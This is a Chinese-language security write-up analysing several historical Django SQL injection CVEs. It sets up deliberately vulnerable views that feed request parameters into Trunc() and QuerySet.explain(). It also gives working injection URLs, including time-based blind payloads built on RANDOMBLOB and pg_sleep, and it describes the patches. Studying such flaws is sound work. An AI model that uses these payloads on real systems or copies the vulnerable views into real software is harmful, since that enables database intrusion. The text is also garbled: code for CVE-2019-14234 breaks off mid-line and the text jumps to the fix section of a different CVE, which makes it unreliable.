Django历史漏洞高危分析

漏洞分析列表

基础知识

参考链接: Quick Reference: Django 备忘清单

# 1. 创建虚拟环境-CVE-2019-14234
mkvirtualenv django_2.2.3
workon django_2.2.3
# 2. 下载漏洞版本
pip install Django==2.2.3
python -m django --version
# 3. 初始化环境
django-admin startproject django_2.2.3
# 文件结构
# django_2.2.3/
#    manage.py # django-admin
#    mysite/
#        __init__.py
#        settings.py # Settings/configuration for this Django
#        urls.py # The URL declarations for this Django project
#        asgi.py #  An entry-point for ASGI-compatible web server
#        wsgi.py # An entry-point for WSGI-compatible web servers
# 4. 测试是否成功
python manage.py runserver 8080
# 5.创建应用
python .\manage.py startapp polls
# 初始化数据库
# INSTALLED_APPS setting and creates any necessary database tables
python manage.py migrate
# 6. Activating models
# settings.py的INSTALLED_APPS变量中手动添加"polls.apps.PollsConfig",并进行更新
# 1. Change your models (in models.py). 2.Run python manage.py makemigrations 3.python .\manage.py migrate
python manage.py makemigrations polls
python manage.py sqlmigrate polls 0001
python .\manage.py migrate

CVE-2019-14234

漏洞概述

2019 年 8 月 1 日,django 发布了漏洞 CVE-2019-14234 公告:CVE-2019-14234 是一个 SQL 注入漏洞,影响了 django.contrib.postgres.fields.JSONFielddjango.contrib.postgres.fields.HStoreField 的关键字查询和索引查询功能。攻击者可以通过伪造带有字典扩展的 kwargs 参数来实现注入攻击。具体来说,该漏洞是由于在使用 QuerySet.filter() 函数时,未对传入的参数进行充分的验证和过滤所导致的。导致攻击者可以构造恶意数据,将其作为参数传入 filter() 函数,造成 sql 注入攻击。

CVE-2019-14234: SQL injection possibility in key and index lookups for JSONField/HStoreField

Key and index lookups for django.contrib.postgres.fields.JSONField and key lookups for django.contrib.postgres.fields.HStoreField were subject to SQL injection, using a suitably crafted dictionary, with dictionary expansion, as the **kwargs passed to QuerySet.filter().

漏洞危害

漏洞分析

前置知识

  1. JSONFieldHStoreField
    在公告中可以看到漏洞是由于 Django 在查询 JSONField/HStoreField 时未对参数进行过滤而导致的。那么什么是 JSONField/HStoreField 呢?在文档中可以看到,这两个都是 Django 框架中的数据库字段类型。JSONField 存储的是 Json 格式的数据,而 HStoreField 是 Django 为 PostgreSQL 设计的字段,存储键值对数据(相当于 Python 中的字典类型)。此外,在查询时,Django 提供了以下方法进行查询(多层嵌套的 json 字段 key 通过 __ 连接即可查询)。
    >>>Dog.objects.create(name='Rufus', data={
    ...     'breed': 'labrador',
    ...     'owner': {
    ...         'name': 'Bob',
    ...         'other_pets': [{
    ...             'name': 'Fishy',
    ...         }],
    ...     },
    ... })
    >>>Dog.objects.create(name='Meg', data={'breed': 'collie', 'owner': None})
    >>>Dog.objects.filter(data__breed='collie')
    <QuerySet [<Dog: Meg>]>
    >>>Dog.objects.filter(data__owner__name='Bob')
    <QuerySet [<Dog: Rufus>]>
    

环境搭建

  1. QuickReference 中查看如何创建 Django 环境和项目。需要注意的是,此漏洞需要使用 Django 的默认数据库 sqlite,但漏洞信息表明该漏洞只在 postgresql 下触发。因此,需要修改默认的数据库配置并运行以下命令以初始化项目:python manage.py startapp CVE_2019_14234。然后,在 Django 的 settings.py 中添加该项目,并将数据库配置修改为 postgresql。
    # setting.py
    # 添加数据库配置
    # postgresql 创建对应的数据库
    # CREATE DATABASE django; 
    # CREATE USER myuser WITH ENCRYPTED PASSWORD 'mypass'; 
    # GRANT ALL PRIVILEGES ON DATABASE django TO myuser;
    # ALTER ROLE myuser SET client_encoding TO 'utf8';
    DATABASES = {
    	'default': {
    		# 'ENGINE': 'django.db.backends.sqlite3',
    		# 'NAME': os.path.join(BASE_DIR, 'db.sqlite3'),
    		'ENGINE': 'django.db.backends.postgresql_psycopg2',
    		'NAME': 'django', # 数据库名称
    		'USER': 'myuser', # 登录数据库用户名
    		'PASSWORD': 'mypass', # 登录数据库密码
    		'HOST': 'localhost', # 数据库服务器的主机地址
    		'PORT': '', # 数据库服务的端口号
    	}
    }
    
    # .... 
    
    # 添加APP
    INSTALLED_APPS = [
    		"CVE_2019_14234.apps.Cve201914234Config", # CVE_2019_14234\apps.py中的类名
    		# ...
    	]
    
  2. 根据公告中的漏洞信息,该漏洞与 JSONField 和 HStoreField 这两个模型字段相关,可以在历史版本的文档中找到对应的使用方法:Django 2.1: Jsonfield 和 HStoreField, 根据给出的方法在 models.py 中添加对应的模型. 添加结束后进行迁移以在数据库中添加对应的对应的成员:`python manage.py makemigrations CVE_2019_14234.
    # CVE_2019_14234\models.py
    from django.contrib.postgres.fields import JSONField
    from django.db import models
    
    class Dog(models.Model):
        name = models.CharField(max_length=200)
        data = JSONField()
    
        def __str__(self):
            return self.name
    
    # CVE_2019_14234\admin.py
    from django.contrib import admin
    from CVE_2019_14234.models import Dog
    # # Register your models here.
    # 在后台注册展示创建管理类,用于后台管理页面并添加一些数据。
    class DogAdmin(admin.ModelAdmin):
        list_display = ['name', 'data']
        
    admin.site.register(Dog, DogAdmin)
    
  3. 完成上述代码后,直接运行该项目 python3 manager.py runserver,并且在后台添加一些 json 数据用于后续测试,例如:
    {"breed": "husky", "owner": {"name": "David", "other_pets": [{"name": "Max"}]}}
    
  4. 在 Django 中可以通过 URL 中查询参数来筛选和排序数据,因此直接在后台访问,通过单引号即可触发报错注入页面。 ![CVE_2019_14234_1.png|650] CVE_2019_14234_1.png|550

详细分析及复现

  1. 跟踪调用链可以看到, 当通过 URL 查询后,Django 对应的查询语句入口如下, 通过 filter 函数进行查询,通过字典的方式将 URL 中的参数传入。
    def get_queryset(self, request):
    	# First, we collect all the declared list filters.
    	(self.filter_specs, self.has_filters, remaining_lookup_params,
    	 filters_use_distinct) = self.get_filters(request)
    	# Then, we let every list filter modify the queryset to its liking.
    	# ...
    	try:
    		# Finally, we apply the remaining lookup parameters from the query
    		# string (i.e. those that haven't already been processed by the
    		# filters).
    		qs = qs.filter(**remaining_lookup_params)
    
  2. 接着进入 filter 函数内部,此时需要的注意的是我们可控的部分分为 url_key 和 url_value 两个字段,Django 对于处理这两个字段时的 sql 语句拼接过程是不一样的。
    1. url_key 的 sql 语句拼接是通过 KeyTransform 该类生成的, 如果输入的类型是字符串,则直接使用 ' 包裹拼接。
      # try_transform()
      class KeyTransform(Transform):
          operator = '->'
          nested_operator = '#>'
          # ...
          def as_sql(self, compiler, connection):
              key_transforms = [self.key_name]
              previous = self.lhs
              while isinstance(previous, KeyTransform):
                  key_transforms.insert(0, previous.key_name)
                  previous = previous.lhs
              lhs, params = compiler.compile(previous)
              if len(key_transforms) > 1:
                  return "(%s %s 22),RANDOMBLOB(500000000/2),1)--.
      
### 漏洞修复
补丁中可以看到如果是通过表别名+列名的方式传入, Django 会通过正则进行匹配,只限定字母和 `+,-,.` 符号的传入,防止通过 `"` 等方式去提前闭合语句造成注入。
![CVE_2021_35042_1.png|650](/img/user/Django/assets/CVE_2021_35042_1.png)
## 参考链接
- [CVE-2021-35042: Potential SQL injection via unsanitized QuerySet.order_by() input](https://www.djangoproject.com/weblog/2021/jul/01/security-releases/)
- [补丁链接](https://github.com/django/django/commit/a34a5f724c5d5adb2109374ba3989ebb7b11f81f)

# CVE-2022-34265
## 漏洞概述
2022年,django 发布了漏洞 CVE-2022-34265 公告:CVE-2022-34265是一个潜在的 SQL 注入漏洞,通过将未受信任的数据用作 `Trunc(kind)` 和 `Extract(lookup_name)` 参数的值,可以导致 SQL 注入。
>[!note] CVE-2022-34265: Potential SQL injection via `Trunc(kind)` and `Extract(lookup_name)` arguments
> `Trunc()` and ` Extract () ` database functions were subject to SQL injection if untrusted data was used as a kind/lookup_name value.
>
>Applications that constrain the lookup name and kind choice to a known safe list are unaffected.
## 漏洞危害
- 危害类型:SQL 注入
- 受影响版本:
	- 受影响版本< `4.0.6`
	- 受影响版本< `3.2.14`
## 漏洞分析
### 前置知识
根据公告信息和[补丁中添加的测试案例](https://github.com/django/django/commit/54eb8a374d5d98594b264e8ec22337819b37443c#diff-7704d1b7fbfb3516a17d0f19338242c16eff438b3e06125015b35d62a314f638R251),直接能够看到漏洞所在函数是 `Trunc()` 和 `Extract()` ,并且也给出测试触发案例。
此外从[文档](https://docs.djangoproject.com/en/4.0/ref/models/database-functions/#trunc)中可以得知 `Trunc()` 和 `Extract()` 都是用于处理时间的函数,`Trunc` 是用于截断日期的一部分;`Extract` 用于将日期的一个组成部分提取为数字,两个函数的参数输入类似。
### 环境搭建
参考官方测试案例构造即可,如下:
```Python
# CVE_2022_34265/modesl.py
class DateModel(models.Model):
    start_datetime = models.DateTimeField()
    end_datetime = models.DateTimeField()

# CVE_2022_34265/views.py
from django.http import HttpResponse
from django.db.models.functions import Trunc, Extract
from CVE_2022_34265.models import DateModel

def trunc_view(request):
    unit = request.GET.get('unit', 'day')
    data = DateModel.objects.annotate(start_day=Trunc('start_datetime', unit))
    # print(DateModel.objects.annotate(start_day=Trunc('start_datetime', unit)).query.__str__())
    response = "<h1>Trunc View</h1>"
    response += "<table>"
    response += "<thead>"
    response += "<tr><th>Start Datetime</th><th>Start day</th></tr>"
    response += "</thead>"
    response += "<tbody>"
    for item in data:
        response += "<tr><td>{}</td><td>{}</td></tr>".format(item.start_datetime, item.start_day)
    response += "</tbody>"
    response += "</table>"
    
    return HttpResponse(response)

def extract_view(request):
    unit = request.GET.get('unit', 'month')
    data = DateModel.objects.annotate(end_month=Extract('end_datetime', unit))
    
    response = "<h1>Extract View</h1>"
    response += "<table>"
    response += "<thead>"
    response += "<tr><th>End Datetime</th><th>End Month</th></tr>"
    response += "</thead>"
    response += "<tbody>"
    for item in data:
        response += "<tr><td>{}</td><td>{}</td></tr>".format(item.end_datetime, item.end_month)
    response += "</tbody>"
    response += "</table>"
    
    return HttpResponse(response)

详细分析及复现

从测试案例中即可看到是因为 _lookup_name_ / kind 两个参数原始是传递的是时间中 year,day 等参数用来标识具体时间的,但是 Django 没有对参数进行校验直接传入作为 sql 语句的一部分了。
CVE_2022_34265_2.png|650
值得注意的是,在使用 Django4.0.1 测试时,发现最后拼接查询的 sql 语句与网上其他漏洞分析中的语句略有不同,注入点从子句 where 到了 select 位置,如下:

SELECT "CVE_2022_34265_datemodel"."id", "CVE_2022_34265_datemodel"."start_datetime", "CVE_2022_34265_datemodel"."end_datetime", django_datetime_trunc(%vuln_data_input%, "CVE_2022_34265_datemodel"."start_datetime", 'UTC', 'UTC') AS "start_day" FROM "CVE_2022_34265_datemodel" LIMIT 21

因此可以构造如下注入语句进行注入:

# unit = year1,0,0,0),iif((select sqlite_version() like '4%'),RANDOMBLOB(500000000/2),1),date('

http://127.0.0.1:8000/CVE_2022_34265/trunc/?unit=year1%27,0,0,0),iif((select%20sqlite_version()%20like%20%22422),RANDOMBLOB(500000000/2),1),%22&func=aggregate

漏洞修复

漏洞修复和上述几个漏洞相同,对 alias 进行内容校验,过滤了一些特殊符号,防止提前对内容进行闭合,导致注入。
CVE_2022_28346_1.png

参考链接

CVE-2022-28347

漏洞概述

2022年,django 发布了漏洞 CVE-2022-28347 公告:CVE-2022-28347 是一个潜在的 SQL 注入漏洞,通过在 PostgreSQL 上使用 QuerySet.explain(**options) 方法时,使用适当构造的字典作为 **options 参数,可以进行 SQL 注入。

CVE-2022-28347: Potential SQL injection via QuerySet.explain(**options) on PostgreSQL

QuerySet.explain() method was subject to SQL injection in option names, using a suitably crafted dictionary, with dictionary expansion, as the **options argument.

漏洞危害

漏洞分析

前置知识

该漏洞只影响 postgresql 数据库,通过 Django文档可以了解到 explain 函数是用来分析 Django 对应的查询命令,并且输出对应 SQL 语句的查询计划。其等价于 postgresql 中的 EXPLAIN 命令

环境搭建

因为该漏洞需要使用的是 postgresql 数据库,之前使用的都是 sqlite 数据。因此除了新增了 views.py 外,还额外添加数据库路由配置 database_router.py,具体如下:

# CVE_2022_28347\views.py
def books_view(request):
    # 获取查询执行计划
    explain_dict = dict(request.GET.items())
    queryset = Book.objects.all()
    # 构建 HTML 内容
    html_content = "<!DOCTYPE html><html> <head><title>Query Execution Plan</title></head><body><h1>Query Execution Plan</h1><pre>{query_plan}</pre></body></html>".format(query_plan=queryset.explain(format=None, **explain_dict))

    return HttpResponse(html_content)

# database_router.py
class AppRouter:
    def db_for_read(self, model, **hints):
        if model._meta.app_label == "CVE_2022_28347":
            return "postgres_db"
        return None

    def db_for_write(self, model, **hints):
        if model._meta.app_label == "CVE_2022_28347":
            return "postgres_db"
        return None
# settings.py
DATABASE_ROUTERS = ['django_4_0_1.database_router.AppRouter']

详细分析及复现

从公告中可以看到漏洞输入点位于 **option 参数,该字典参数内容最终由 explain_query_prefix 函数处理。默认数据库对于有值的 **option 参数是不会处理的,并且会抛出异常。CVE_2022_28347_1.png|650
Django 中 postgresql 类中重载了该函数。Django 在从 **options 中提取 key 值的时候,直接将 key 提取进行了拼接作为了后面 explain 查询的中的参数。
CVE_2022_28347_2.png|650
sql 语句如下

EXPLAIN (%vuln_data_input%) SELECT "CVE_2022_28347_book"."id", "CVE_2022_28347_book"."title", "CVE_2022_28347_book"."author" FROM "CVE_2022_28347_book"

EXPALIN 默认是不执行对应的语句的。但是在 postgresql 的文档中可以看到,EXPALIN 中有一个 ANALYZE 参数,添加该参数后,postgresql 会执行命令并显示实际运行时间和其他统计信息,因此只能通过该参数闭合然后进行时间盲注,构造如下语句:

# http://127.0.0.1:8000/CVE_2022_28347/?ANALYZE)%20SELECT%20pg_sleep(5)--=1
EXPLAIN (ANALYZE) SELECT pg_sleep(5)--

漏洞修复

  1. Django 在补丁中对 **option 传入的参数进行了校验,限定了 EXPLAIN 函数支持的那个几个参数CVE_2022_28347_3.png|650
  2. 在 Django 的 explain (format=None, **options) 中会直接对传入的 options 进行正则校验, 限定了传入的字符类型CVE_2022_28347_4.png|650

参考链接